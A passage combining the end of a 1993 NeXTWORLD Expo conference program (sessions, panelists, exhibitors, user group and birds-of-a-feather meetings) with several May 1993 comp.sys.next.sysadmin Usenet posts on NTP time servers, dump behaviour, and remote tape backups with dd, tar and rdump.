the intricacies of NEXTSTEP and third-party products. This track
begins with critical information about running NEXTSTEP for Intel
processors, and examines hot topics like portable computing, NEXTSTEP
publishing, database management, and collaborative applications.
Users can get hands-on help by attending sessions on NEXTSTEP tips
and tricks, configuring systems for maximum power, and sources of
training and support.
TRACK TWO SESSIONS:
** INTRODUCTION TO NEXTSTEP for INTEL PROCESSORS **
Speaker: Jim Mynatt, NeXT
11:30AM - 12:30PM, Tuesday, May 25
User Conference Room 123 &124
NeXT's software guru's take you on a tour of the leading
object-oriented operating system for mainstream business computers.
** INTRODUCTION FOR INTEL PROCESSORS: Q&A ** -OR-
** NEXTSTEP PC: Issues and Answers **
Speaker: Bob Lawton, NeXT
12:45PM - 1:45PM, Tuesday, May 25
User Conference Room 123 & 124
and (repeat)
Speaker: Bob Lawton, NeXT
12:00PM - 1:00PM, Wednesday, May 26
User Conference Room 123 & 124
NeXT and NEXTSTEP hardware partners answer questions on software
deliverables.
** MANAGING DOCUMENTS **
Panel:
Gregory Miller - Moderator, Inherent Software
Jay Kilby
Sam Van Vactor, Insight Software
11:30AM - 12:30PM, Thursday, May 27
User Conference Room 123 & 124
Whatever happened to the paperless office? It's alive and well in
law firms and medical organization employing NEXTSTEP software for
document storage and retrieval.
** READ ALL ABOUT IT: PUBLISHING WITH NEXTSTEP **
Panel:
Rick Reynolds, Publish Magazine - Moderator
John Budacovich, Data Place Computer
Mark Astman, Linotype-Hell
Lauren Flanagan, GoldLeaf
4:30PM - 5:30PM, Tuesday, May 25
User Conference Room 123 & 124
NEXTSTEP's unified imaging model, powerful software tools, and
workgroup connectivity are ideally suited for graphic design and
electronic publishing. Experts explore the available tools for
NEXTSTEP publishing, while early adopters describe their experiences.
** MANAGING YOUR DATA **
Panel:
Dan Kehoe - Moderator, NeXTWORLD
Rober Dyas, IP Design
Alex Cone, Objective Technologies
2:00PM - 3:00PM, Tuesday, May 25
User Conference Room 123 & 124
Database management isn't a task only for programmers and system
designers. Here's everything you need to know as a user for
specifying and designing database front ends, as well as for managing
your individual records.
** TBA SESSION **
3:15PM - 4:15PM, Tuesday, May 25
User Conference Room 123 & 124
** NEXTSTEP TIPS and TRICKS **
Panel:
Lee Sherman - Moderator, NeXTWORLD
Joe Barello, NeXTWORLD
User Group Panelist
User Group Panelist
NEXTSTEP is so rich in capabilities that many users only scratch its
surface. To get maximum benefit from NEXTSTEP, you need to know the
shortcuts and hidden features available in the system. Power users
show you how.
** CONNECTING TO THE WORLD **
Panel:
Timothy Reed - Moderator
Jim Opfer, RadioMail
3:45PM - 4:45PM, Wednesday, May 26
User Conference Room 123 & 124
There is a wealth of information, free software, and just plain
camaraderie available to NEXTSTEP users through the Internet and
other information services. This session tells you how and where to
plug in to the wonderful world of NEXTSTEP online.
** SUPPORT, SERVICE, AND TRAINING **
Panel:
Jan Tyler - Moderator, NeXT
Scott Abel, Pencom Software
Vince Jordan, Systemhouse
Tim Purkis, Bell Atlantic
2:30PM - 3:30PM, Wednesday, May 26
User Conference Room 123 & 124
Get together with NeXT and NeXT training and service provider
partners to hear about the new offerings in the area of support,
service and training.
** WORKING TOGETHER WITH COLLABORATIVE SOFTWARE **
Panel:
Stephan Adams - Moderator, Adamation
Eric Wespestad, Swiss Bank Corporation
Peter Park, Pangea Corporation
1:15PM - 2:15PM, Wednesday, May 26
User Conference Room 123 & 124
Groupware is a computer-industry buzzword that is much discussed and
little practiced. In the NEXTSTEP environment, users are taking
advantage of applications designed for collaborative work. This panel
reviews the available products and illustrates the power of workgroup
computing.
** PORTABILITY AND NOTEBOOKS: ISSUES AND ANSWERS **
Panel:
John Barlow - Moderator, NeXTWORLD
Bob Lawton, NeXT
10:15AM - 11:15AM, Thursday, May 27
User Conference Room 123 & 124
Customers are interested in NEXTSTEP portable computing. But 486
notebooks are not the only option for users who need to take their
data on the road. This session looks at strategies for extending
your desktop environment to wherever you happen to be.
** TRACK THREE **
THEME: IN THE TRENCHES
Customers in business, education, and government have taken great
strides in applying NEXTSTEP to solving problems in their fundamental
advantages for unifying the desktop, collaborative computing,
document management, decision support, and application development.
In this track, speakers representing customers in NeXT's key markets
share their experiences.
TRACK THREE SESSIONS:
** UNIFYING THE DESKTOP **
Panel:
Jeff Kvam - Moderator, Swiss Bank Corporation
Gregory Miller, Inherent Solutions
11:30AM - 12:30PM, Tuesday, May 25
User Conference Room 122
The goal is no longer to have a computer on every desk, but to have
only one computer on every desk. Users in financial services, law
enforcement, and hospital administration describe how NEXTSTEP
replaced diverse systems in a single workstation.
** END OF THE PARADOX: OPERATIONAL PRODUCTIVITY **
Panel:
Sara Benson, NeXT
Jeff Kvam, Swiss Bank Corporation
John Schaffer, Brigham and Womens Hospital
Jeff Rueben, University of Texas
12:45PM - 1:45PM, Tuesday, May 25
User Conference Room 122
NEXTSTEP solves the enduring paradox of the information age:
Organizations' investment in technology has not resulted in
measurable productivity gains. NEXTSTEP changes the equation by
focusing on operational productivity.
** ENTERPRISE WIDE DATA ACCESS **
Panel:
Felix Lin - Moderator, NeXT
Alex Henry, William Morris Agency
Bill Dudney, Pencom Software
Mark Richards, Alain Pinel
2:00PM - 3:00PM, Tuesday, May 25
User Conference Room 122
** ROLLUPS AND DRILLDOWNS: EXECUTIVE INFORMATION SYSTEMS **
Panel:
Mark Thompsen, TRW
P.K. M'Pherson, Information Delivery Ltd
10:15AM - 11:15PM, Thursday, May 27
User Conference Room 122
NEXTSTEP is ideal for applications that deliver live summary data and
graphics to executives for decision support. Corporate and
government users show how they did it.
** SUPPORT FOR STANDARDS **
Panel:
Kris Younger, NeXT
Bill Young , Trident Data Systems
Dan Pederson, USC - ISI
Neil Goodrich, Trident Data Systems
3:45PM - 4:45PM, Wednesday, May 26
User Conference Room 122
** CUSTOM APPLICATION DEVELOPMENT **
Panel:
Dan McCeary, Integrity Solutions
Gary Lynn, NeuroDimension Inc.
Mike McFall, LOR/Geske Bock Associates Inc.
Stephane Savard, Panon Telexpertise Inc.
2:30PM - 3:30PM, Wednesday, May 26
User Conference Room 122
** WHY NEXTSTEP -- CUSTOMER PERSPECTIVES **
Panel:
Kris Younger, NeXT - Moderator
Larry Bookstaver, USC - ISI
Jim Traegar, TASC
4:30PM - 5:30PM, Tuesday, May 25
User Conference Room 122
Choosing NEXTSTEP was once risky. This panel of NEXTSTEP customers
in business, government, and education discuss their choice of
NEXTSTEP systems and the payoff.
** SERVING YOUR CUSTOMERS **
Panel:
John Trustman - Moderator, Fidelity Investments
Randy Mosteller, Trident Data Systems
Mike Adelson, Chrysler Financial
10:15AM - 11:15AM, Wednesday, May 26
User Conference Room 122
The greatest challenge in business today is providing timely and
accurate service to customers. NEXTSTEP systems provide the
informational framework for world-class customer service. Users from
health care, financial services, and transportation show how they did
it.
** ENTERPRISE TRANSFORMATION **
Panel:
Dan Ruby - Moderator, NeXTWORLD
Erique Rosado, Software Services & Solutions, Inc.
Chris Cuilla, ITS
Bernard D. Aboda, MailCom
1:15PM - 2:15PM, Wednesday, May 26
User Conference Room 122
Technological change does not occur in a vacuum. Sometimes, the
technology used can lead to structural and cultural changes in an
organization. Panelists from law enforcement, telecommunications,
and the energy business explore the positive effects of NEXTSTEP
technology on organizational hierarchies, decision making, and
customer relations.
** TRAINING FOR SUCCESS **
Panel:
Jan Tyler - Moderator, NeXT
Eric Wanger
Don Winn, PanCanadianPetroleum Limited
12:00PM - 1:00PM, Wednesday, May 26
User Conference Room 122
Training alternatives are critical to meeting the diverse needs of
NEXTSTEP developers, users, and systems administrators. This panel
includes representatives from NeXT's training consortium, NeXT
instructors, and customers whose successes with NEXTSTEP have been
accelerated by choosing the right training curriculum.
** CORPORATE IDENTITY **
Dan Ruby - Moderator, NeXTWORLD
James Scouttar, Just Proportion Ltd.
Victor Spindler, Pages Software
11:30AM - 12:30PM, Thursday, May 27
User Conference Room 122
** TRACK FOUR **
THEME: HOT PRODUCTS
The sizzle in the NEXTSTEP market is the varied software solutions
offered in hotly contested application categories. In this track,
developers demonstrate the best and newest tools for document
creation, presentation, financial modeling, database management,
business graphics, and software emulation. With this background,
users will be better able to examine the strengths and weaknesses of
the products shown on the exhibit floor.
TRACK FOUR SESSIONS:
** DOCUMENT CREATION **
Panel:
Rick Reynolds - Moderator, Publish Magazine
Glenn Reid, RightBrain Software
Bruce Webster, Pages
WordPerfect Corp.
2:00PM - 3:00PM, Tuesday, May 25
User Conference Room 125
The leading applications for creating business documents square off.
Their different approaches to page layout and design provide good
choices for every kind of NEXTSTEP user. This session provides an
excellent opportunity to view, evaluate, and discuss the wide array
of page layout applications available for NEXTSTEP.
** PRODUCTIVITY, NEXTSTEP STYLE **
Panel:
Dan Lavin - Moderator, NeXTWORLD
Julie Saffren, NeXT
Joe Barello , NeXTWORLD
2:00PM - 3:00PM, Tuesday, May 25
User Conference Room 125
In this session, developers discuss the feature and benefits of
today's NEXTSTEP productivity applications and how they can be used
most effectively. NEXTSTEP is home to innovative software products
in virtually every productivity category. What's truly amazing is
the way they all work together in an integrated user environment.
** INFORMATION MANAGERS **
Panel:
Dan Ruby - Moderator, NeXTWORLD
Scott Love, Millennium
Andy Turk, Sarrus
Karl Craft, Ensuing Technologies
3:45PM - 4:45PM, Wednesday, May 26
User Conference Room 125
The last year has seen an explosion of products for managing personal
and group information. These tools have allowed NEXTSTEP users to
move even closer towards the goal of a true paperless office. Learn
about the calendar, address books, and free-form databases that are
on the vanguard of workgroup computing on NEXTSTEP.
** BETTER PRESENTATIONS **
Panel:
Lee Sherman - Moderator, NeXTWORLD
Jonathan Schwartz, Lighthouse Design, Ltd.
David Gregory, Imagine
Rand Schulman , Pages Software
4:30PM - 5:30PM, Tuesday, May 25
User Conference Room 125
Making presentations is among the most frequent tasks in business.
Creating presentations using NEXTSTEP and available third-party
applications has proven to be both easy and impactful. Here we look
at the options for improving your delivery with visually appealing
slides and interactive media.
** EMULATION AND CONNECTIVITY **
Panel:
Joe Barello - Moderator, NeXTWORLD
Mark Munford, Insignia
Cliff Mathews, Abacus
Olivia Favela , IPT
Scott Opitz, Conextions
10:45PM - 11:45PM, Wednesday, May 26
User Conference Room 125
NEXTSTEP is great, but sometimes you have to make concessions to the
rest of the world. Whether you want to make your NEXTSTEP system
behave like Windows, Macintosh, X, or a mainframe terminal, there is
a third-party product for you. Developers in this session will
review those products available in the future.
** GRAPHICS FOR BUSINESS **
Panel:
Tony Bove, NeXTWORLD - Moderator
Tony Renier, BlackSmith
Andrew Stone, Stone Design
Jonathan Schwartz, Lighthouse Design, Ltd.
12:00PM - 1:00PM, Wednesday, May 26
User Conference Room 125
Illustration tools are not just for artists. NEXTSTEP offers some of
the best applications on any platform for creating business charts,
diagrams, and drawings. Whether you're looking for applications in
the area of free-hand drawing, product planning and flowcharts, or
presentation enhancement, this session is for you.
** MULTIMEDIA AND 3D **
Panel:
Lee Sherman - Moderator, NeXTWORLD
Jesper Lundh, Xanthus
Glen Worstell, Thoughtul Software
11:30AM - 12:30PM, Thursday, May 27
User Conference Room 125
NEXTSTEP has always been a leader in the area of multimedia. Learn
how NEXTSTEP's inclusion of RenderMan technology, strong multimedia
authoring systems and tools for sound and music have set the stage
for an explosion of software for 3D rendering, animation, and
multimedia.
** DOCUMENT MANAGEMENT **
Panel:
David Spitzler, NeXT
Peter Ripp, Boss Logic
Sam Van Vactor, Insight
Robert Thibadeau, Visus
11:30AM - 12:30PM, Thursday, May 27
User Conference Room 123 & 124
NEXTSTEP's combination of strengths for scanning character
recognition, imaging, and collaborative computing make it an ideal
platform for document storage and retrieval. Developers demonstrate
their solutions for the potentially huge but largely underutilized
workstation application.
** SPREADSHEET AND MODELERS **
Panel:
Dave Grady - Moderator, NeXT
David Pollack, Athena Design
Michael Steele, Axsys
Chip Goodman, WhiteLight
2:30PM - 3:30PM, Wednesday, May 26
User Conference Room 125
NEXTSTEP abounds in diverse solutions for financial modeling.
Whether you need a traditional spreadsheet, multi-dimensional tool or
sophisticated enterprise financial modeler, NEXTSTEP serves your
needs with strong third-party products. Come see for yourself.
** GRAPHICS ARTS **
Panel:
Rick Reynolds - Moderator, Publish Magazine
Troy Whitsett, Altsys
Lauren Flanagan, Goldleaf
Randy Adams, Appsoft
10:15PM - 11:15PM, Thursday, May 27
User Conference Room 125
** DATABASES **
Panel:
Daniel Kehoe - Moderator, NeXTWORLD
Bob Beth, Proponent
Rober Dyas, IP Design
Andrew Stone, Stone Design
1:15PM - 2:15PM, Wednesday, May 26
User Conference Room 125
____________________________________________________________________
=> NEXTSTEP PRODUCT EXHIBITION: PARTICIPATING COMPANIES
May 25 - 27, 1993
Participating Companies:
Abe Industry
Artemis
AEC Software
ADAMATION
Adobe Systems Inc.
Alembic Systems International Ltd.
Altsys Corporation
Anderson Financial Systems
ANDI
Appsoft, Inc.
Athena Design
Axsys
Bacchus, Inc.
BenaTong
BenchBuilt Software Co.
benchMark Development, Inc.
Black & White Software
Blacksmith
Blue Rose Systems
Booz-Allen & Hamilton
Canon
Ciusa, Inc.
Compaq Computer Corp.
Conextions
Cube Information Systems
Cub'X Systems
Data General Corp.
Dell Computer
Detective Tools Corp.
Digital Compostition Systems, Inc.
Distributed Processing Technology
eCesys
Epson
Firstsoft, Inc. / DBSA. Inc.
Goldleaf Publishing, Inc.
Goldleaf Systems
Harvard Tool Works
Hewlett-Packard Company
Highland Digital
HSD Microcomputer
Hypersight, Inc.
i-link, GmbH
Imagine Multimedia, Inc.
Impact Multimedia, Inc.
INSIGHT Software
Insignia Solutions, Inc.
Intel Corporation
Jana Publishing
Lighthouse Design, Ltd.
Logicon Ultasystems Inc.
LogicStream
Memory International, Inc.
Metrosoft
Millennium Software Labs, Inc.
MRJ, Inc.
NEC Technologies Inc.
Network Expressn Inc.
NeXT, Inc.
NeXTWORLD Magazine
Northstar Technologies Inc.
nPoint
Objective Technologies, Inc.
ONyX Systems, Inc.
Pages Software, Inc.
Paget Press
Pangea Corporation
PARABASE
Pencom
Perennial Software
Pinnacle Research, Inc.
Professional Software, Inc.
RDR, Inc.
Ridgeback Solutions
RightBrain Software, Inc.
SMC
Sarrus Software, Inc.
Schema Research Corp.
Second Glance Software
Sirius Solutions, Inc.
Skylee Press
SofDesign
Software Ventures
Step 2 Software, Inc.
Stone Design
Systemhouse Inc. (Object Technology Center)
Systemix Software, Inc.
TMS GmbH
Tecor, Inc.
Telos / Springer-Verlag
Thoughtful Software
Toshiba
Trident Data Systems
Trirex Systems
Vertex Software
Watershed Technologies
Wolfram Research, Inc.
WordPerfect Corporation
Yrrid Incorporated
...and more
____________________________________________________________________
=> NeXT USER GROUP PROGRAM AGENDA
User Group Keynote
Thursday, May 27
9:00 am - 11:00 am
Steve Jobs: 486--An Explosion of Users Under NeXT's Big Tent
Steve Jobs headlines this exciting kickoff to today's activities. The
number of NEXTSTEP users in the world doubled last year. With the
advent of NEXTSTEP for Intel processors, we anticipate a tremendous
explosion of new users and user group members using both black and
white hardware. How do we serve this dynamic new population and tap
into their talents? Ideas for 1993 and beyond will be discussed.
Also during this session, NeXT will present its "Golden Nugget
Awards" for special contributions by user groups during the past
year.
** USER GROUP PROGRAM: LEADERSHIP TRACK **
Thursday, May 27
11:00am - 12:00pm
-Leadership and Organizing Ideas
Panel chair:
BANG (Bay Area NEXTSTEP User Group)
1:00pm - 2:00pm
-Working with NeXT, 3rd Party Vendors, and Resellers
Panel co-chairs:
KYNUG (Kentucky NEXTSTEP User Group)
PSNUG (Puget Sound NEXTSTEP User Group)
2:00pm - 3:00pm
-Attracting and Keeping Volunteers and Officers
Panel chair:
UKNUG (United Kingdom NEXTSTEP User Group)
3:00pm - 4:00pm
-Fundraising
Panel chair:
NoIR - NEXTSTEP Organization International
____________________________________________________________________
** USER GROUP PROGRAM: MEMBERSHIP SERVICES TRACK **
Thursday, May 27
11:00am - 12:00pm
-Training
Panel co-chairs:
SCaN (Southern California area NEXTSTEP User Group)
hAng (Houston area NEXTSTEP User Group)
Scott Weiner, NeXT Training department
1:00pm - 2:00pm
-Planning and conducting a successful meeting
Panel chair:
BCS-NeXT (Boston Computer Society NEXTSTEP Group)
2:00pm - 3:00pm
-Newsletters
Panel chair:
rmNUG (Rocky Mountain NEXTSTEP User Group)
3:00pm - 4:00pm
-Getting your members on the worldwide net
Panel co-chairs:
GUN (Gotham Users of NEXTSTEP, New York City)
Madison, Wisconsin NEXTSTEP User Group
____________________________________________________________________
=> TUTORIALS AND BOF MEETINGS
Hands-On NEXTSTEP Tutorials
If you're new to NEXTSTEP, this is your chance to learn the
basics...and if you're a seasoned developer, you can sign-up to spend
some time with an expert on the subject of your choice. Extending
from the show floor, the NEXTSTEP hands-on tutorial area sponsored by
Dell Computer, provides instructions and mini-sessions for both end
users and developers.
User Tutorials are scheduled throughout the three days of the Expo to
introduce new users to NEXTSTEP and to provide guidance on navigating
the workspace, working with applications, and using NEXTSTEP
features.
Developer Tutorials provide two learning opportunities: hands-on
instruction in "boot camp" issues as well as one-on-one time with a
NeXT expert on specific development topics.
Birds-of-a-Feather Meetings
Developers can conduct a limited number of Birds-of-a-Feather
get-togethers on Wednesday evening, May 26, 5:00 p.m. - 8:00 p.m.
Room reservations are available on a first-come, first-served basis.
Email BOF@NeXT.com to reserve a room for your special interest group.
Please include your coordinator's name, an email address, and an
abstract of the session.
NeXTWORLD Expo Bof (Birds of a Feather) Schedule:
Wednesday, May 26, 1993
5:00 - 6:00pm: Developer Conference Room 132
Guerrilla Marketing for NEXTSTEP Developers
Organizer: Conrad Geiger, NeXT
This BOF session will cover the tactics for reaching the
NeXTSTEP users and potential NeXTSTEP users of NeXTSTEP and your
product. Working with user groups, the press, resellers, and
VARS/VADS will be the focus of this informal sharing of ideas.
6:00 - 8:00 pm: Developer Conference Room 130
Object Protocols for NEXTSTEP (OPN) Organization
Organizer: Marcos J. Polanco, The Research Libraries Group
The premise of the organization is that while NeXTstep offers the
underlying technologies of a fully object-oriented operating system,
the benefits of object orientation will not be fully realized until
standards emerge for interobject communication. The standards are at
the application level (OPNAddressBook, OPNCalendar, OPNMail,
OPNSpreadsheet, OPNGraph, OPNDevelopmentTools) and are vendor
independent, thus guaranteeing an open market for implementations. We
will discuss the charter for the organization.
6:00 - 7:00 pm: Developer Conference Room 131
Sound, Music and DSP standards for NeXTSTEP/Intel
Organizer: Michael McNabb, Software Consulting
The original NeXT computers were embraced by a large community of
computer music and digital audio artists, researchers, and
developers. The machine's greatest appeal was that it provided a
common platform with a powerful minimum set of standard hardware and
software features, allowing a much greater exchange of work and ideas
than in the past.
NeXT's move to Intel hardware presents a great challenge to this
community. PC audio and music hardware standards do not really
exist, and NeXT itself will only be supporting a reduced set of
software standards. The community must now define its own set of
standards and supported hardware in order to preserve existing
capabilities, encourage development, and maintain interchangeability.
This session will include brief presentations from various
perspectives by members of the NeXT audio and DSP community, and a
face to face discussion of these issues.
6:00 - 7:00 pm: Developer Conference Room 132
NeXT Means Business: How Can Developers Sell More?
Organizer: Peggy Thompson, Paget Press
How can developers better reach the customer bases looking for NeXT
products? How can we work together more efficiently? Developers can
share success stories on how to get visibility for their products.
6:00 - 7:00 pm: Developer Conference Room 133
IndexingKit SIG
Organizer: Jack Greenfield, NeXT
Have you built an interesting data structure with IXBTree? Are you
wondering how to store a graph of objects in IXRecordManager? The
Indexing Kit BOF will provide an informal setting for the exchange of
tips and tidbits relating to the Indexing Kit. IXKit developers from
around the NeXT community will be in attendance, and IXKit author
Jack Greenfield will be on hand to share techniques, and to answer
your questions. Developers familiar with IXKit are encouraged to come
and share their experiences. Developers thinking about using IXKit
are encouraged to come and learn how the IXKit can help them with
their application.
6:00 - 7:00 pm: Developer Conference Room 120
Virtuoso SIG
Organizer: Troy Whitsett, Altsys
The session will feature a few advanced guest designers to lead in a
discussion of the different solutions that Virtuoso provides to
NeXTSTEP users. Each designer will discuss a different solution for
Virtuoso and NeXTSTEP, including:
Business graphics - presentations, corporate identity pieces,
business cards, annual reports, etc.;
Graphic design - creating infographics, logos, special effects,
product packaging, posters, etc.;
Page layout - Working with text, bringing files together into large
documents, creating newsletters, brochures, etc.
This will be an open discussion for users to openly discuss and share
information and techniques for using Virtuoso in their work. It will
also enable potential and advanced users of Virtuoso to learn new
tips and tricks. Door prizes will be awarded as well.
6:00 - 7:00 pm: Developer Conference Room 122
NeXT in Law
Organizer: Gregory Miller, Inherent Technologies, Inc.
This is the annual meeting for the NeXT-in-Law User Group, JuriNUG.
While JuriNUG convenes at other American Bar Association functions,
this meeting is a chance for anyone and everyone interested in the
use of NEXTSEP in the legal profession to gather and exchange ideas,
discuss issues, and learn about this rapidly developing vertical
market. The meeting is open to anyone, not just legal professionals
interested in learning about the legal computing market.
If you have specific questions or have a particular item for an
agenda, please contact Greg Miller at 503-224-6751 or
gregory_miller@inherent.techlaw.com.
6:00 - 7:00 pm: Developer Conference Room 123
Custom Applications Developed with Objective DB Toolkit
Organizer: Valerie Birk, Logibec
The all new Objective DB Toolkit version 3 offers developers 4GL
capability with a script language that puts the development of custom
applications within the reach of any developer. The Toolkit also
offers an extensive choice of field templates, the possibility to
overlay views without the use of Objective C code.
The Objective DB Toolkit development environment is built on top of
NeXT's Database Kit which provides adaptors to Sybase and Oracle for
fast development of mission critical client/server applications.
7:00 - 8:00 pm: Developer Conference Room 130
(OPN continued)
Incrementally Creating Apps at Run-time
(The Other Half of Interface Builder)
Organizer: Charles L. Perkins
Many early NeXTSTEP developers were excited by the promise of
programming entirely within Interface Builder, creating a fully
interpretive, rapid prototyping environment with loadable palettes of
objects. Despite 3.0 additions, I.B. does not provide that
environment. The "other half" of I.B. must provide glue to link
arbitrary objects and NIB files together at run-time, and must allow
a rich set of possible connections between them without constraining
the meaning of those connections. If such a framework includes the
ability to modify the currently running application's state, entire
applications can be created at double-click time or even while they
are running, in an incremental and amazingly flexible manor. One
such framework will be presented, to stimulate discussion.
7:00 - 8:00 pm: Developer Conference Room 120
Color Management for NeXTSTEP
Organizer: William Bonekemper, HERE, Inc.
HERE's color management system benefits every NeXTSTEP user who needs
to produce calibrated and controlled color output. This session will
convey information and instruction concerning how the Color
Management System works and how to use it with NeXT application
software. This is accomplished through the use of live demonstrations
on a large projection system where NeXT applications are utilizing
HERE's Color Management System.
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From: dml@esl.com (Denis Lynch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ntpd revisited
Message-ID: <2077@esl.ESL.COM>
Date: 4 May 93 17:26:03 GMT
References: <1s2s24INN62@theborg.stack.urc.tue.nl>
Sender: news@esl.ESL.COM
In article <1s2s24INN62@theborg.stack.urc.tue.nl>
annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes:
> Hello there,
>
> I was wondering how to make the NeXT understand that I want to use a
> non-NetInfo host as a Master Time Server.
I saw this question, and thought "gee that's dumb, just put the host name
into the panel." But before I wrote some condescending reply, I decided to
check on exactly how I had set up our configuration.
Oops, it isn't as straightforward as you'd like, but you can do exactly what
you want. First, forget about using Hostmanager to set up the configuration.
Second, forget about putting the external hosts in NetInfo, unless you aren't
running a DNS resolver. (If you aren't running a resolver, you will need to
add the hosts to NetInfo, but all you need is their name and ip_address.)
OK, now to set up what you want: use NetInfomanager. Open the '/' domain.
You'll see a directory called "locations" -- click on that. If you've set up
ntp at all, you'll see a subdirectory "ntp". If not, create one. Click on
"ntp" and then double-click to open the Properties/Values panel. The
locations/ntp directory needs:
Property Value
name ntp
server one or more values, each one an ntp Master
host one or more values, each one an ntp Clone
The "correct" configuration is to have a couple of external machines serve as
your masters, and a couple of local machines to be local servers. The host
names are regular domain names, so local hosts get resolved through NetInfo
and others through DNS.
Just one caution: make sure the servers you pick are fairly good ones. The
boot process uses "ntp -F" to set the machines clock. If the *first* server
isn't available, this fails and the clock remains unset. This isn't normally
a problem, but someday maybe I'll feel compelled to relate the sequence of
events when we upgraded one of our clone servers with an '040 board whose
clock was off by 35 minutes or so... (Why can't these machines keep even
halfway decent time on their own????)
Hope this helps,
--Denis
From: nevai@ops.mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.unix.questions
Subject: Re: dump - what gets dumped
Date: 4 May 1993 18:32:10 GMT
Organization: Department of Mathematics, The Ohio State University
Distribution: world
Message-ID: <1s6cra$alm@mathserv.mps.ohio-state.edu>
References: <1s5l53$sdk@mathserv.mps.ohio-state.edu>
In article <1s5l53$sdk@mathserv.mps.ohio-state.edu> pali+@osu.edu azt mondja:
:According to the dump man pages dumping is done by modification times (after
:consulting /etc/dumpdates) but I have a feeling that on NeXT 3.0 dump goes by
:access times! Is that true?
:
:BACKGROUND: I made a 0 dump yesterday and a 9 dump today AND everything got
:dumped at the 9 level again. Between yesterday and today all my files were
:accessed but only a few changed. Any suggestions?
:
CORRECTION: not 9 but 0 level again. I think that dump goes by "ctime", i.e.
by status change time instead of the modification time. Can this be
confirmed?
Take care...Paul
Newsgroups: comp.sys.next.sysadmin
From: parod@baris.acns.nwu.edu (Bill Parod)
Subject: dd | tar question
Message-ID: <1993May4.174731.26388@news.acns.nwu.edu>
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
Date: Tue, 4 May 1993 17:47:31 GMT
I have an Exabyte tape that I would like to dump from a NeXT to another machine
across our net. I tried "dd if=/dev/rxt0 | rsh othermachine tar ..." But that
doesn't work. So I simply tried "dd if=/dev/rxt0 | tar tvf -" to see if dd and
tar were working together, and that didn't work either. I tried a variety of
block sizes thinking that might be the problem and got nowhere.
So, is there a problem with dd (or tar) on NS3.0, or does someone know the
blocksizes I should be using? Or am I missing something else?
Incidentally "tar tvf /dev/rxt0" works just fine, so the tape is ok.
Thank You,
--
Bill Parod 627 Dartmouth Place, Evanston, IL 60208
Northwestern University bill-parod@nwu.edu (NeXTmail ok)
Academic Computing & Network Services phone: (708) 491-5368
Advanced Technology Group fax: (708) 467-1786
Newsgroups: comp.sys.next.sysadmin
From: ian@pyrian.com (Ian H. Stewart)
Subject: tip & gatorftp
Message-ID: <C6Ir46.11C@pyrian.com>
Sender: ian@pyrian.com (Ian H. Stewart)
Organization: PYRIAN Software Group - Makers of On Vacation(tm). 415 664-1170 ext 7.
Date: Tue, 4 May 1993 20:19:17 GMT
Is it possible to login to a shell account and use something like
gatorftp?
What would I need to do?
Thanks
--
Ian H. Stewart | voice/fax 415-664-1170
Pyrian Software Group | Net Ian_Stewart@pyrian.com
NeXTSTEP Consulting | Isn't LiFE more like RiSK?
Newsgroups: comp.sys.next.sysadmin
From: khw2x@sonja.math.Virginia.EDU (Kevin H. Weiss)
Subject: Re: dd | tar question (remote backups)
Message-ID: <C6IqEF.3vH@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
References: <1993May4.174731.26388@news.acns.nwu.edu>
Date: Tue, 4 May 1993 20:03:50 GMT
In article <1993May4.174731.26388@news.acns.nwu.edu> parod@baris.acns.nwu.edu
(Bill Parod) writes:
>
> I have an Exabyte tape that I would like to dump from a NeXT to another
machine
> across our net. I tried "dd if=/dev/rxt0 | rsh othermachine tar ..." But that
> doesn't work. So I simply tried "dd if=/dev/rxt0 | tar tvf -" to see if dd
and
> tar were working together, and that didn't work either. I tried a variety of
> block sizes thinking that might be the problem and got nowhere.
>
> So, is there a problem with dd (or tar) on NS3.0, or does someone know the
> blocksizes I should be using? Or am I missing something else?
>
> Incidentally "tar tvf /dev/rxt0" works just fine, so the tape is ok.
>
> Thank You,
> --
>
> Bill Parod 627 Dartmouth Place, Evanston, IL 60208
> Northwestern University bill-parod@nwu.edu (NeXTmail ok)
> Academic Computing & Network Services phone: (708) 491-5368
> Advanced Technology Group fax: (708) 467-1786
We've been using the following command with no problems to back up the entire
hard drive rsd0a:
/usr/etc/rdump 0fs weyl:/dev/rmt0 999999 /dev/rsd0a
Note that on the remote machine, an RS6000, we've set the Exabyte to /dev/rmt0
and have done appropriate things for .rhosts.
--
--------------------------------------------------------------
Kevin Weiss Department of Mathematics
khw2x@sonja.math.Virginia.edu (NeXT mail) University of Virginia
khw2x@virginia.edu (Non-NeXT mail)
Newsgroups: comp.sys.next.sysadmin
From: parod@baris.acns.nwu.edu (Bill Parod)
Subject: Re: dd | tar question
Message-ID: <1993May4.201625.28640@news.acns.nwu.edu>
Sender: usenet@news.acns.nwu.edu (Usenet on news.acns)
Organization: Northwestern University, Evanston, Illinois, USA
References: <1993May4.174731.26388@news.acns.nwu.edu>
Date: Tue, 4 May 1993 20:16:25 GMT
Bill Parod writes
>
> So, is there a problem with dd (or tar) on NS3.0, or does someone know the
> blocksizes I should be using? Or am I missing something else?
>
> Thank You,
Thanks to David Meyer at University of Virginia for the suggestion to try a dd
input block size of 10k. That worked!
--
Bill Parod 627 Dartmouth Place, Evanston, IL 60208
Northwestern University bill-parod@nwu.edu (NeXTmail ok)
Academic Computing & Network Services phone: (708) 491-5368
Advanced Technology Group fax: (708) 467-1786
Newsgroups: comp.sys.next.sysadmin
From: zenon@resonex.com (Zenon Fortuna)
Subject: Re: dd | tar question
Message-ID: <1993May4.214245.11748@resonex.com>
Organization: Resonex Inc., Fremont CA
References: <1993May4.174731.26388@news.acns.nwu.edu>
Date: Tue, 4 May 1993 21:42:45 GMT
In article <1993May4.174731.26388@news.acns.nwu.edu> parod@baris.acns.nwu.edu (Bill Parod) writes:
>
>I have an Exabyte tape that I would like to dump from a NeXT to another machine
>across our net. I tried "dd if=/dev/rxt0 | rsh othermachine tar ..." But that
>doesn't work. So I simply tried "dd if=/dev/rxt0 | tar tvf -" to see if dd and
>tar were working together, and that didn't work either. I tried a variety of
>block sizes thinking that might be the problem and got nowhere.
>
>So, is there a problem with dd (or tar) on NS3.0, or does someone know the
>blocksizes I should be using? Or am I missing something else?
>
>Incidentally "tar tvf /dev/rxt0" works just fine, so the tape is ok.
>
